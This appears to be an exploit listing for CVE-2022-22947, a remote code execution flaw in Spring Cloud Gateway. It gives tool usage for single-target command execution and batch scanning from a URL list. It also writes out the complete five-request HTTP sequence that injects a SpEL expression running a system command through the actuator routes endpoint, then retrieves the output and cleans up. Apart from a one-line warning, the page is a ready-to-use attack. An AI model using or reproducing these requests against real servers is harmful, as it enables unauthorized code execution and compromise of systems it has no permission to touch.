## https://sploitus.com/exploit?id=FF2EF58E-53AA-5B60-9EA1-4B5C29647395
### Spring Cloud Gateway Remote Code Execution Vulnerability
> This vulnerability poses a high risk to online business, do not perform unauthorized scans.
##### Usage Notes
```
buzz . /CVE-2022-22947 -h βββ―
Execute the command: . /CVE-2022-22-22947 -u http://127.0.0.1:8080 -c whoami
Batch detection: . /CVE-2022-22947 -l url.txt
``
##### Start the vulnerability environment
```
java -jar vuln/spring-gateway-demo-0.0.1-SNAPSHOT.jar
```
##### The vulnerability is divided into 5 requests
The first request (sending the following packet adds a route containing a malicious SpEL expression)
```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 366
{
"id": "hacktest",
"filters": [{
"args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime ).getRuntime().exec(new String[]{\"id\"}).getInputStream())}"}
}],
"uri": "http://example.com",
"order": 0
}
``
Second request (to refresh the route just added)
```
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
Third request (to see the result)
```
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
```
Fourth request (cleaning up the added routes)
```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
``
Fifth request (refreshing the route)
```
POST /actuator/gateway/refresh HTTP/1.1
Host: 172.16.91.102:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
##### Acknowledgments
> JAR package from Shimizu Kawasaki ; EXP from phith0n